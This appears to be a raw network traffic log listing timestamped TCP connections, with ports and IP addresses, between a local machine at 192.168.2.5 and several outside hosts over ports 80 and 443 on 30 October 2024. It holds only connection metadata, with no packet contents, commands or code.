Oct 30, 2024 23:11:44.275285006 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.275296926 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.275346994 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.308537006 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.308552980 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.308614016 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.309699059 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.309762001 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.309775114 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.309839010 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.309866905 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.309881926 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.309926987 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.332292080 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.332324982 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.332333088 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.332365990 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.332386971 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.332386017 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.332396030 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.332420111 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.332437038 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.332437038 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.332448006 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.332463026 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.340915918 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.341048002 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.341108084 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.343437910 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.343482018 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.343491077 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.343543053 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.343559980 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.343568087 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.343570948 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.343621969 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.343652010 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.343683004 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.392442942 CET	443	49932	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.392913103 CET	49932	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.392947912 CET	443	49932	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.393445969 CET	49932	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.393452883 CET	443	49932	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.396224976 CET	443	49934	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.396720886 CET	49934	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.396734953 CET	443	49934	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.397205114 CET	49934	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.397211075 CET	443	49934	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.402054071 CET	443	49933	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.404942036 CET	49933	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.404963017 CET	443	49933	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.405538082 CET	49933	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.405543089 CET	443	49933	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.415827036 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.415853024 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.415931940 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.415937901 CET	49927	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.416042089 CET	49927	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.416980028 CET	49927	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.417000055 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.426367998 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.426413059 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.426425934 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.426441908 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.426480055 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.426480055 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.427624941 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.427675962 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.427685976 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.427695990 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.427706003 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.427716970 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.427726984 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.427769899 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.427969933 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.428010941 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.428016901 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.428092957 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.448882103 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.448908091 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.448976994 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.448992968 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.449008942 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.449029922 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.451014042 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.451107979 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.463793993 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.463807106 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.463834047 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.463844061 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.463874102 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.463906050 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.463922024 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.463967085 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.464598894 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.464668989 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.466254950 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.466337919 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.466340065 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.466382027 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.466533899 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.466550112 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.466562986 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.466619968 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.517744064 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.517764091 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.517776012 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.517829895 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.525808096 CET	443	49932	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.525882959 CET	443	49932	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.526999950 CET	49932	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.527235031 CET	49932	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.527235031 CET	49932	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.527259111 CET	443	49932	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.527268887 CET	443	49932	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.528903961 CET	443	49934	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.529113054 CET	443	49934	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.529597044 CET	49934	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.530551910 CET	49945	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.530585051 CET	443	49945	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.530781031 CET	49934	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.530795097 CET	49945	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.530802965 CET	443	49934	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.530847073 CET	49934	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.530854940 CET	443	49934	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.532150030 CET	49945	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.532162905 CET	443	49945	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.533713102 CET	49946	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.533735991 CET	443	49946	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.533808947 CET	49946	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.534039021 CET	49946	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.534048080 CET	443	49946	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.535697937 CET	443	49933	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.535768986 CET	443	49933	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.535836935 CET	49933	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.536086082 CET	49933	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.536094904 CET	443	49933	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.536103964 CET	49933	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.536108017 CET	443	49933	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.538378954 CET	49947	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.538415909 CET	443	49947	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.538695097 CET	49947	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.538836002 CET	49947	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.538853884 CET	443	49947	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.544223070 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.544235945 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.544291973 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.544305086 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.544317007 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.544351101 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.545502901 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.545512915 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.545523882 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.545557022 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.545588970 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.545595884 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.545608044 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.545654058 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.545829058 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.545876026 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.545885086 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.545897007 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.545928955 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.567852974 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.567872047 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.567928076 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.567959070 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.567972898 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.568413019 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.574702978 CET	443	49936	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.575187922 CET	49936	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.575223923 CET	443	49936	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.575658083 CET	49936	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.575664997 CET	443	49936	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.635674953 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.635693073 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.635704994 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.635730982 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.635775089 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.662467957 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.662516117 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.662528992 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.662528992 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.662561893 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.662569046 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.663595915 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.663608074 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.663619041 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.663676023 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.663757086 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.663769960 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.663781881 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.663805008 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.663822889 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.663837910 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.663870096 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.684387922 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.684408903 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.684457064 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.684490919 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.684508085 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.684521914 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.707745075 CET	443	49936	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.707777023 CET	443	49936	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.707834005 CET	443	49936	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.707865953 CET	49936	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.707905054 CET	49936	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.708101988 CET	49936	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.708132982 CET	443	49936	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.708149910 CET	49936	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.708157063 CET	443	49936	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.711158991 CET	49948	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.711193085 CET	443	49948	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.711420059 CET	49948	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.711590052 CET	49948	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.711597919 CET	443	49948	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.726285934 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.726372004 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.726397038 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.726438999 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.726932049 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.726955891 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.753549099 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.753570080 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.753624916 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.753653049 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.753691912 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.753951073 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:44.762270927 CET	443	49941	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.766077995 CET	49941	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.766103983 CET	443	49941	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.767266035 CET	443	49941	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.767364979 CET	49941	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.773228884 CET	49941	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.773340940 CET	443	49941	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.773821115 CET	49941	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.773835897 CET	443	49941	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.780342102 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.780355930 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.780405045 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.780435085 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.780455112 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.780472994 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.780478954 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.780513048 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.781444073 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.781491041 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.781502008 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.781529903 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.781550884 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.781636000 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.781678915 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.781692028 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.781723022 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.781737089 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.781753063 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.781778097 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.784344912 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:44.784370899 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:44.784995079 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:44.785001993 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:44.785028934 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:44.785038948 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:44.826803923 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.827136040 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.827167988 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.827523947 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.827914000 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.828002930 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.828077078 CET	49941	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.828311920 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.832112074 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.832350016 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.832369089 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.834839106 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.834928989 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.835270882 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.835349083 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.835428953 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.835436106 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.846133947 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.846371889 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.846385002 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.846908092 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.847237110 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.847371101 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.847377062 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.847410917 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.851152897 CET	443	49938	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.851749897 CET	49938	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.851769924 CET	443	49938	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.852205992 CET	49938	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.852210045 CET	443	49938	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.871340036 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:44.871761084 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.871797085 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.871809006 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.871830940 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.871860027 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.888020039 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.888025999 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:44.889616013 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:44.889915943 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:44.889940023 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:44.890352964 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:44.890757084 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:44.890837908 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:44.890981913 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:44.895086050 CET	49949	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:44.895121098 CET	443	49949	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:44.895647049 CET	49950	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:44.895680904 CET	443	49950	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:44.895680904 CET	49949	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:44.895746946 CET	49950	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:44.896152020 CET	49949	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:44.896166086 CET	443	49949	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:44.896382093 CET	49950	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:44.896399021 CET	443	49950	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:44.898029089 CET	49951	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:44.898053885 CET	443	49951	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:44.898354053 CET	49951	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:44.898452997 CET	49952	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:44.898472071 CET	443	49952	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:44.898518085 CET	49952	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:44.898629904 CET	49951	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:44.898639917 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.898642063 CET	443	49951	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:44.898649931 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.898703098 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.898751974 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.898770094 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.898791075 CET	49952	443	192.168.2.5	204.79.197.219
Oct 30, 2024 23:11:44.898802996 CET	443	49952	204.79.197.219	192.168.2.5
Oct 30, 2024 23:11:44.898808956 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.899622917 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.899678946 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.899683952 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.899714947 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.899739981 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.899755001 CET	49870	80	192.168.2.5	185.215.113.206
